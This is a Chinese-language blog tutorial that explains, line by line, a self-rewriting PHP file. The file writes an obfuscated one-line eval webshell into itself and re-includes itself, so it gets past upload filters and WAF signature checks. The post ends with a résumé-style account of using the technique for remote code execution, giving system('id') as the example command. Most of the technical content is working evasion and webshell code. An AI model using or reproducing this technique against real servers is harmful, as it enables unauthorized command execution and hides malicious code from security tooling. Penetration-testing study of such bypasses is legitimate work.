当前位置: 首页 > ds >正文

bypass

代码解析

修改自身bypass:

第一句话

$s="Declaring file object\n";

定义一个s,值为Declaring file object

第二句话

$d=$_SERVER['DOCUMENT_ROOT'].$_SERVER['DOCUMENT_URI'];  

不知道$_SERVER是什么,那就打印出来看看。输入

echo '<pre>';

print_r($_SERVER);

打印出:

可知:

//$_SERVER['DOCUMENT_ROOT'] 获取的是:/usr/local/nginx/html

//$_SERVER['DOCUMENT_URI']  获取的是:/bypass/5.php

. 在php中是拼接的意思,既这句话的意思是定义一个d,他的值是:  /uSr/local/nginx/html/bypass/demO2.php

第三句话

$file = new SplFileObject($d,'w');

提供一个函数SplFileObject,查官方文档得知:

::,两个冒号是静态方法。当去new一个类的时候,构造函数会自动执行。

$file = new SplFileObject("fwrite.txt", "w");

  • 这是创建一个新的文件对象(使用的是 PHP 的 SplFileObject 类)。

  • "fwrite.txt" 是文件名,如果不存在就会创建它。

  • "w" 是打开模式,表示:

    • 打开用于写入,

    • 如果文件存在,将会清空原内容;

    • 如果文件不存在,会尝试创建一个新文件。

$written = $file->fwrite("12345");
  • 使用 fwrite() 方法向文件写入字符串 "12345"

  • 写入成功后,返回值是写入的字节数这里是 5

  • “12345”为想写入的内容

所以第三局话的意思是:定义一个file,他的值为新的一个类(SplFileObject),这个类的作用是往d写入内容。

第四句话

$file->fwrite("<?php"." eva".$s[3]);

调用fwrite写入内容,$s[3]的意思是调用第一句话的第3个字母“l”,把l取出来,那么这句话的意思是:写入<?php eval到此没完,因为一句话木马没写完

第五句话

$file->fwrite("(\$_"."GET"."[a]);?>");  

继续写入。因为$是定义变量的前缀,所以要在前面加一个转义字符\,把$_变为普通的$符号。这句话的意思是:($_GET[a]);?>

一执行5.php就会改头换面变为:<?php eval($_GET[a]);?>

第六句话

include(get_included_files()[0]);

get_included_files()

  • 这是 PHP 的一个内置函数。

  • 它返回一个 数组,包含当前脚本中所有通过 includerequireinclude_oncerequire_once 加载过的文件名

  • 每个元素是一个绝对路径

  • 下标 0当前正在执行的主脚本本身的路径

表示的就是当前 PHP 脚本的完整路径名:/usr/local/nginx/html/bypass/5.php

include(...)

  • include 的作用是把某个 PHP 文件里的代码**“嵌入并执行”**到当前位置。

  • 相当于重新执行当前脚本

此时5.php完全变了。变为:

看似合理无害的文件,变为了一句话木马。在上传时waf并未认定是恶意文件,那是在运行的时候,改变了自身的属性。

写成项目经历:


这个项目是我在做 Web 渗透测试时发现的一类漏洞利用方法,重点是通过 PHP 的自写入和自身包含机制,绕过常规的安全防护,实现远程代码执行。
当时目标系统用了 PHP,目录权限不算严格,用户上传文件后可以被 Web 访问。起初发现系统对 eval() 函数和常规 WebShell 特征做了过滤,比如直接上传 <?php eval($_GET['a']); ?> 这类代码会被拦截或者清除。
后来我尝试换思路,通过 PHP 的 SplFileObject 类创建当前脚本的文件对象(也就是$_SERVER['DOCUMENT_URI'] 加上 $_SERVER['DOCUMENT_ROOT'] 得到的路径),然后动态拼接写入一句类似 <?php eval($_GET['a']); ?> 的代码,但故意打散写法,避开特征检测。比如把 eval 拆成 "eva".$s[3]($s[3] 是 "l"),把变量写成 \$_GET["a"],这样即使是代码审计工具或者 Web 应用防火墙(WAF)也不太容易识别。
写完后,再用 include(get_included_files()[0]); 重新加载当前脚本,就会立即执行刚写进去的恶意代码。然后我访问这个文件并传入 a=phpinfo(); 或 a=system('id');,就能执行任意命令,拿到服务器权限。
这个过程可以实现绕过上传限制、绕过 WAF 特征识别、绕过禁用函数控制,属于一个组合型的 RCE 利用链。后面我把这套方法写成了利用脚本,并整理成报告提交给了客户方,得到了他们的高度重视,也推动了他们修改相关目录权限和配置。

  在这个项目里,我主要负责漏洞挖掘、利用方式设计以及后续的复现与验证,另外还参与了编写报告和向客户讲解复现方式。

赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞点点。

http://www.xdnf.cn/news/17198.html

相关文章:

  • SelectDB:新一代实时数仓的核心引擎与应用实战
  • 机器学习——基本算法
  • 笛卡尔坐标
  • Java 中 BigDecimal、Float、Double 的取整与保留小数处理方法详解
  • 简要探讨大型语言模型(LLMs)的发展历史
  • Android进程基础:Zygote
  • Linux 磁盘管理与分区配置
  • 【2025WACV-最佳论文】RayGauss:基于体积高斯的光线投射,用于逼真的小说视图合成
  • (JAVA)自建应用调用企业微信API接口,设置企业可信IP
  • 前端开发(HTML,CSS,VUE,JS)从入门到精通!第五天(jQuery函数库)
  • 使用1panel将http升级至https的过程
  • 板子指示灯状态设计
  • ESDocValues机制
  • Easysearch 集成阿里云与 Ollama Embedding API,构建端到端的语义搜索系统
  • python与C++
  • web第一次作业
  • Spring Cloud Gateway 实现登录校验:构建统一认证入口
  • Kali基础知识点【2】
  • Linux 网络深度剖析:传输层协议 UDP/TCP 原理详解
  • 小实验:按键点灯(中断法)
  • 如何安装 nvm-setup.exe?Windows 安装 NVM 管理 Node.js 版本的完整流程(附安装包下载)
  • C# 类型
  • Git基础操作教程
  • Dbeaver数据库的安装和使用(保姆级别)
  • 计算机网络:理解路由的下一跳
  • Baumer工业相机堡盟工业相机如何通过YoloV8深度学习模型实现路口车辆速度的追踪识别(C#代码UI界面版)
  • 【保姆级 - 大模型应用开发】DeepSeek + Faiss + langchain 搭建本地知识库 检索 | 代码实战
  • 行业报告:.games域名正引领游戏娱乐产业营销新风向
  • Ubuntu 下 MySQL 运维自动化部署教程(在线简易版)
  • 【测试】⾃动化测试常⽤函数